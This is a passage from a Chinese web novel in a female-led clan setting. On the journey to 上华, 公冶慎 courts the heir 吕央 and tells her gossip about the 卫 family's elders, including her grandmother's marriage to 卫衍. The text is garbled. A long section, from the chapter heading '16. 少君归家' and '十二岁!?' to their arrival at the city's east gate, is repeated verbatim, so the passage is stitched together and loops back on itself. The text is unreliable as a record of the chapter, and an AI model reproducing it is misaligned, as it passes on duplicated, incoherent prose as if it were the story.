公冶慎房中,待少君走远常敷才斟酌着开口:“公子,柳神医已经给老祖宗开了药,咱们这样骗少君是不是不大好?” 嘶…公冶慎颇为不满地睨了他一眼,这小子刚才要他演戏的时候挺上道,现在演完开始怂了要讲道理了。 “等快到上华的时候再给少君一个惊喜,岂不更好吗?”公冶慎摇着手里的折扇,全然没有一点惭愧,“反正也大差不差的。” 常敷只好跟着点头,也行吧。 “其实若少君真纳那闻人曜也没什么的,他那种人能抛下面子当侧室,公子您不就有能拿捏他的筹码了吗?而且论辈分他就算进了卫家的门您还是压他一头。” 公冶慎气得嘴角抽搐,但迫于修养还是只能委婉道:“你小子能不能少看些家长里短的宅斗话本?” 常敷面无表情地躬身请罪:“属下失言,请公子责罚。” “罢了。”公冶慎烦躁地撩起前额的碎发,“说起来,我和闻人曜也没什么区别。” “公子莫要如此折辱自己。”常敷并不认同自家公子的此番自嘲言论。 那闻人曜想嫁给少君,是外人贪图卫家势力;可公子本来就是半个卫家人,又对卫家忠心不二,嫁给少君属于是强强联合理所应当。 “呵,我这八字还没争得上一撇呢,少君比你我想象的要聪明得多。”她看着单纯对男女之事毫不了解,不过想用这套伪装搪塞公冶慎的一切猜疑和讨好。只要她不懂,就什么都可以不管,也不需要承担对公冶慎的责任。 简而言之,怕自己缠着她要名分。 公冶慎摇头,其实他还没敢奢求所谓的正夫哪怕是侧室的位置,“我就算凭这张脸也难上位,万一少君届时更喜欢闻人曜,仗着宠爱我反倒容易任人鱼肉……” 公冶慎顿时一阵心烦意乱,他怎么说着说着也被常敷这小子带偏了。 反正无论如何,他都不能让闻人曜顺利接触到少君,至少现在还不行。 不仅仅是闻人曜,公冶慎不想让吕央对其余人的信任胜过于对他,但凡他占据不了卫家下任女君身边重要的一席之地,将来肯定要沦为一枚被抛弃的棋子。 那是他最不愿面对的结局。 这一生他失去了太多东西,光是想到有一天连卫家都容不下他,公冶慎都感到阵阵心惊。 他空怀才识却无缘朝堂,即便武艺高强也无处报国,只有也只剩卫家还能让他感觉到自己有那么点用处。 比起那些名门公子,他从家世这第一条就已经被钉死在耻辱柱上。 公冶慎下意识抚上自己的脸,至少…至少他还不算一无所有。 “属下以为,凭少君的性格可能就喜欢那种看着温柔实际直白的,公子私下可以再…大胆些。” 公冶慎诧异地抬头:“你小子到底每天都在看什么?” 听下属给自己建议如何更好地讨少君欢心,还是太诡异了。 公冶慎头疼地挥挥手:“先带你弟弟回房休息吧,此事我自己心中有数。” “是。” 常敷快步退了出去,留下公冶慎一个人对着烛光暗自推敲。 表面温柔禁欲实则直白大胆么…… 次日一早天边刚露出些鱼肚白色,吕央还在香甜的睡梦中,屈嫱便叩响了她的房门:“少君,该起床准备出发了。” “嗯……我知道了……” 吕央洗漱完打开房门,迎面撞进了熟悉的怀抱中。 头顶传来青年低沉带着笑意的声音:“看来阿央已经好了,不用我再催一遍。” 吕央轻轻推开表哥:“嘿嘿,我还是不会赖床的。” 这么快就被怀中人推开,公冶慎的表情颇有些可惜意味:“没事,若还想补觉,待会儿在马车上可以继续睡。” “表哥你说得我像个小猪,就顾着睡觉了。” 吕央俏皮地吐了吐舌头,看见另一边吕向遥赵华月她们也出来了立马找机会开溜,拉着妹妹上马车。 从汝州城到上华城再快也要近三天行程,第一天吕央还真和公冶慎说的一般整一天都在车上睡了过去,连带着妹妹吕向遥两个人睡得不知天地为何物,不晓日夜怎更替了。 赵华月起初试过叫她们俩,想想一路上舟车劳顿辛苦得很,还是不折腾两个小姑娘了。 待到第二天开始,吕央恢复了大半精力,终于有了闲心思去想归家之后的事情。 对于卫家她几乎什么都不知道,都说八卦是了解一个人或者说一群人的最好方法,吕央自然也是想从这点下手。 她先找了屈嫱,奈何屈嫱真是个两耳不闻窗外事的主儿,在卫家就一心一意地守着老太君,事儿她倒知道发生过不少,但是总说自己记得不清楚,话里话外都是不想谈及这些。 怪不得一开始介绍的时候公冶慎说有事儿可以交给屈嫱,有问题就找他问,原来真 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“阿央要记的就是二子君和四子君两位。你可直接称二子君为姨母,她性格和屈嫱差不大多,表面冷漠不近人情,但内里真性情,就是对小辈有些严苛。” 吕央光听都起了一身鸡皮疙瘩,公冶慎接着介绍:“二子君膝有一双儿女,长子卫淳和次女卫娴。她俩比你大两岁,大公子性格沉稳,二娘子内敛娟秀,是上华城里出了名的书痴兄妹。平时若找不到他俩,去书房里肯定能找到。” “那二姨夫呢?” 公冶慎摇头:“十年前病逝了。傅君同二子君是青梅竹马的少年夫妻,只可惜天不遂人愿,傅君染了重疾撒手人寰早早离去,而这十年间二子君也并未再纳新人。” 听罢吕央对于这位原本害怕的姨母又多了几分叹息,不仅没有那么担忧了甚至有些期待见到她还有哥哥姐姐。 “三子君卫衡你也晓得,他的妻子柳氏已经被送走了,膝下仅有一女,也就是你的妹妹卫婳,她吧……脑子不大精明但爱耍些小聪明,现今不在上华你也可不在意。” 说起这个,吕央难免担心:“有她父亲的事情在,她应该不会恨我吧?” “她没被连累得失去卫家娘子的身份就已经感恩戴德了,剩下的就看她脑子还够不够用。”公冶慎意有所指,“况且也要看阿央打算如何对她。” “人不犯我我不犯人,她既然已经离开本家就随便吧。” 听着不像什么坏姑娘,而且老太君都已经高抬贵手,总归也是同龄的姐妹吕央肯定不想主动撕破脸,赶尽杀绝追着不放。 她扭头对上公冶慎极为欣赏的眼神,心里虽然笑了但脸上强行忍住:“还有最后一位呢!” 想起那女人公冶慎不禁面露难色:“四子君卫婷有点特别,最重要的是你叫她姑姑好了。” “为什么啊,她不是比我母亲小吗?” 公冶慎摩挲着下巴有些忍俊不禁:“这个嘛……” 四子君卫婷的父亲也姓卫,是老太君卫婋的第三任夫郎。原本以为他只是个名不见经传的外家公子,结果后面才发现他年纪虽小但算起辈分来居然比卫婋大多了。 “老太君都说她给自己生了个姑奶奶,因为四子君在族中辈分高最后大家统一叫姑姑,她自己也喜欢这个称呼。” 吕央听着更来兴趣了:“祖母有过三任丈夫呀?” “老太君和第一任夫郎钱君成婚六年育有两女,和第二任育有一子,幼女四子君就是和那位卫衍君生下的,卫衍君也是陪老太君最长久的一位。” 二人在卫婋中年时相遇相恋,相伴了将近二十年之久。 “表哥你悄悄告诉我,那位卫衍君比祖母小多少岁啊?” 吕央实在太好奇了。 公冶慎想了想:“也没多少,十二岁。” 16. 少君归家 十二岁!? 两个人之间的年纪足足差了一个吕向遥呐! 吕央双手急忙拍拍脸蛋将自己的思绪收回:“那卫衍君应该,挺有手段的……” 粗略估算祖母当时应该三十多岁,正是如日中天的壮年时期,他一个不知来路的外家公子居然能博得已经在偌大卫家掌权十多年的女君青睐心悦,简直比吕央见过的话本故事还要精彩! 公冶慎斜眼观察少女的脸色,看来少君是真心喜欢谈论八卦。 既然如此他也不打算卖关子,反倒示意她凑近了些接着继续讲述:“当年他也只是进京投奔本家,由管家阿嬷接待安排他寄住在偏院中。卫衍君别的不说,就是性格文静温柔少言寡语,偏院仆人看人下菜碟对他不敬,他也丝毫不计较。” 当时卫婋的第二任夫郎刚刚因意外去世,为了冲淡心中的痛苦她终日奔波在外处理产业事务,几乎没有让自己的心有一刻空闲过。 卫衍入府三个月都没见过传说中的女君一面,待到那一年年底除夕夜,卫婋心中郁闷在家宴过后四处闲逛才发觉偏院中竟有一青年孤独地对着雪地抚琴。 “那人就是卫衍君?” 公冶慎点头:“她对这生面孔很好奇,上前攀谈才得知卫衍是来京办事而寄住在府中的外家公子。” 到这儿吕央差不多能猜到接下来的故事走向,卫衍就算当时在众人眼中只是隔了十八层关系的远方亲戚但来者皆为客,这样对待客人有辱门风,卫婋作为一家之主肯定不会容忍,这不就有了接触的机会了吗? 卫衍性情温善犹如一朵冰清玉洁的白莲花,又是以如此楚楚可怜的形象在卫婋面前出现,一来二去心生好感也正常。 “其实还有更重要的原因,卫衍君的琴声抚慰了外祖母的心,所以才顺势留下做了府上的琴师。” 那一年卫衍21岁,卫婋正沉浸在丧夫之痛中。头两年她根本没有再纳新夫的打算,而且就算真的要再婚也定然不会把主意打到卫衍身上。 听起来卫衍没什么机会和能力上位啊……吕央感叹完立马问:“那他最后是怎么让祖母动心的?” 公冶慎打开折扇掩面会心一笑:“靠时间。” “时间?”吕央不思其解。 “阿央知道什么叫日久生情吗?” 这个吕央自然很熟悉,原本她就打算走这个路子,等嫁给王二牛之后再在婚后的日子里慢慢和他培养感情。 可惜世事难料,还没等她们成亲开始培养呢,王二牛就干脆利落毫无征兆地死了。 但仔细想想若是和王二牛那样的家伙在一起……咦惹! 吕央光是想想都冷不丁起了浑身的鸡皮疙瘩,公冶慎见状心中闪过一丝焦躁:少君人反应莫不是心里已经有了人? “哎呀我就在话本里听说过一点,所以祖母和卫衍君就是日久生情咯?” 公冶慎不置可否,头两年卫婋的确没想过再纳夫,可卫衍硬生生在她身边一点点温水煮青蛙等到了第四年,熬到了卫婋愿意接受他,并在那年年底给了他一场大婚。 吕央掐着手指摇头:“那我觉得其实祖母从一开始就对卫衍有好感,至少不是完全无法接受。不然如果是我…有个喜欢我但我不喜欢的人守在我旁边,我肯定第一时间就把他弄走。” 闻言公冶慎的眉毛无意识抽动一瞬,嘶,少君这个性格真不知道对他来说是好是坏了。 “他们之间更多的事情我也不清楚,反正我听到的是这个版本。”公冶慎耸肩,八卦在这么多年里真真假假的传来传去,对于卫婋当初究竟是何想法他也不清楚,“阿央若想知道得更仔细不妨等归家直接去问老太太吧。” 吕央努着嘴脱口而出一句抱怨:“你怎么也跟屈嫱一样都要我去问祖母……” 话到嘴边她才紧急刹住,差点忘了之前和屈嫱聊到的主人公现在就在她面前啊。 公冶慎没错过半点,她的行为举止尽落入他眼中,虽然心中紧张面上还是装作随口一问:“阿央和屈嫱都聊了些什么?” “没什么,就是我去问她府上八卦,她通通说不知道,让我不然直接问老太太好了。”吕央脑子转得快,三言两语揭了过去,还在话中将自己的位置靠到了公冶慎那边,“这些八卦绯事我敢问吗?这个屈嫱跟木头一样,所以是才特地来找的你呀,表哥~” 公冶慎被她哄得很是开心,丝毫没有怀疑,还反过来提屈嫱解释:“她性格向来如此严谨无趣,又忙于完成老太太派下的任务,自然就对府上这些杂事一无所知了。” 说罢还冲吕央笑笑,似乎在暗示她今后有任何想要知道的事情还可以继续找他,比找屈嫱要方便得多。 吕央没往下接话,这几日她一直在努力和公冶慎拉进关系,连续两日的白天都待在他的马车上从天南聊到地北,还差点在他身旁睡着险些留宿,好在用晚膳时吕向遥来叫醒了她。 最近和屈嫱少了些联系,不过吕央想她应该能理解自己此举的用意,不至于误会自己真的要倾向公冶慎那边。 她转了话头稍稍有些插科打诨地娇嗔埋怨:“表哥,还没到家你都跟我讲了那么多八卦琐事,待会儿我见到长辈们想起来忍不住笑了怎么办?” 公冶慎挑眉忍俊不禁:“那不正好吗,我原先还担心你归家之前近乡情怯会觉得紧张呢。” 吕央跟着他笑了两声,一副没心没肺模样。 其实说不紧张那都是假的,她本来就是一直在公冶慎面前装大咧傻丫头,卫家那群“家人”她今天都是第一次见,只希望千万别出什么岔子。 “阿央你别有压力,真正该紧张的是她们才对。” 公冶慎意味深长地望向窗外,吕央顺着她的视线向外看,忽然发觉不知何时她们已经从东城门进城了。 “刚刚没停下在城门检查吗?” 公冶慎抬手替她掀开侧帘,让她看周边繁闹的市景:“卫家主宅就在城东区,也是这儿最大的豪门氏族,在东城门出入很频繁,所以基本就免了这一关卡的麻烦。” “原来如此。” 十二岁!? 两个人之间的年纪足足差了一个吕向遥呐! 吕央双手急忙拍拍脸蛋将自己的思绪收回:“那卫衍君应该,挺有手段的……” 粗略估算祖母当时应该三十多岁,正是如日中天的壮年时期,他一个不知来路的外家公子居然能博得已经在偌大卫家掌权十多年的女君青睐心悦,简直比吕央见过的话本故事还要精彩! 公冶慎斜眼观察少女的脸色,看来少君是真心喜欢谈论八卦。 既然如此他也不打算卖关子,反倒示意她凑近了些接着继续讲述:“当年他也只是进京投奔本家,由管家阿嬷接待安排他寄住在偏院中。卫衍君别的不说,就是性格文静温柔少言寡语,偏院仆人看人下菜碟对他不敬,他也丝毫不计较。” 当时卫婋的第二任夫郎刚刚因意外去世,为了冲淡心中的痛苦她终日奔波在外处理产业事务,几乎没有让自己的心有一刻空闲过。 卫衍入府三个月都没见过传说中的女君一面,待到那一年年底除夕夜,卫婋心中郁闷在家宴过后四处闲逛才发觉偏院中竟有一青年孤独地对着雪地抚琴。 “那人就是卫衍君?” 公冶慎点头:“她对这生面孔很好奇,上前攀谈才得知卫衍是来京办事而寄住在府中的外家公子。” 到这儿吕央差不多能猜到接下来的故事走向,卫衍就算当时在众人眼中只是隔了十八层关系的远方亲戚但来者皆为客,这样对待客人有辱门风,卫婋作为一家之主肯定不会容忍,这不就有了接触的机会了吗? 卫衍性情温善犹如一朵冰清玉洁的白莲花,又是以如此楚楚可怜的形象在卫婋面前出现,一来二去心生好感也正常。 “其实还有更重要的原因,卫衍君的琴声抚慰了外祖母的心,所以才顺势留下做了府上的琴师。” 那一年卫衍21岁,卫婋正沉浸在丧夫之痛中。头两年她根本没有再纳新夫的打算,而且就算真的要再婚也定然不会把主意打到卫衍身上。 听 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吕央掐着手指摇头:“那我觉得其实祖母从一开始就对卫衍有好感,至少不是完全无法接受。不然如果是我…有个喜欢我但我不喜欢的人守在我旁边,我肯定第一时间就把他弄走。” 闻言公冶慎的眉毛无意识抽动一瞬,嘶,少君这个性格真不知道对他来说是好是坏了。 “他们之间更多的事情我也不清楚,反正我听到的是这个版本。”公冶慎耸肩,八卦在这么多年里真真假假的传来传去,对于卫婋当初究竟是何想法他也不清楚,“阿央若想知道得更仔细不妨等归家直接去问老太太吧。” 吕央努着嘴脱口而出一句抱怨:“你怎么也跟屈嫱一样都要我去问祖母……” 话到嘴边她才紧急刹住,差点忘了之前和屈嫱聊到的主人公现在就在她面前啊。 公冶慎没错过半点,她的行为举止尽落入他眼中,虽然心中紧张面上还是装作随口一问:“阿央和屈嫱都聊了些什么?” “没什么,就是我去问她府上八卦,她通通说不知道,让我不然直接问老太太好了。”吕央脑子转得快,三言两语揭了过去,还在话中将自己的位置靠到了公冶慎那边,“这些八卦绯事我敢问吗?这个屈嫱跟木头一样,所以是才特地来找的你呀,表哥~” 公冶慎被她哄得很是开心,丝毫没有怀疑,还反过来提屈嫱解释:“她性格向来如此严谨无趣,又忙于完成老太太派下的任务,自然就对府上这些杂事一无所知了。” 说罢还冲吕央笑笑,似乎在暗示她今后有任何想要知道的事情还可以继续找他,比找屈嫱要方便得多。 吕央没往下接话,这几日她一直在努力和公冶慎拉进关系,连续两日的白天都待在他的马车上从天南聊到地北,还差点在他身旁睡着险些留宿,好在用晚膳时吕向遥来叫醒了她。 最近和屈嫱少了些联系,不过吕央想她应该能理解自己此举的用意,不至于误会自己真的要倾向公冶慎那边。 她转了话头稍稍有些插科打诨地娇嗔埋怨:“表哥,还没到家你都跟我讲了那么多八卦琐事,待会儿我见到长辈们想起来忍不住笑了怎么办?” 公冶慎挑眉忍俊不禁:“那不正好吗,我原先还担心你归家之前近乡情怯会觉得紧张呢。” 吕央跟着他笑了两声,一副没心没肺模样。 其实说不紧张那都是假的,她本来就是一直在公冶慎面前装大咧傻丫头,卫家那群“家人”她今天都是第一次见,只希望千万别出什么岔子。 “阿央你别有压力,真正该紧张的是她们才对。” 公冶慎意味深长地望向窗外,吕央顺着她的视线向外看,忽然发觉不知何时她们已经从东城门进城了。 “刚刚没停下在城门检查吗?” 公冶慎抬手替她掀开侧帘,让她看周边繁闹的市景:“卫家主宅就在城东区,也是这儿最大的豪门氏族,在东城门出入很频繁,所以基本就免了这一关卡的麻烦。” “原来如此。”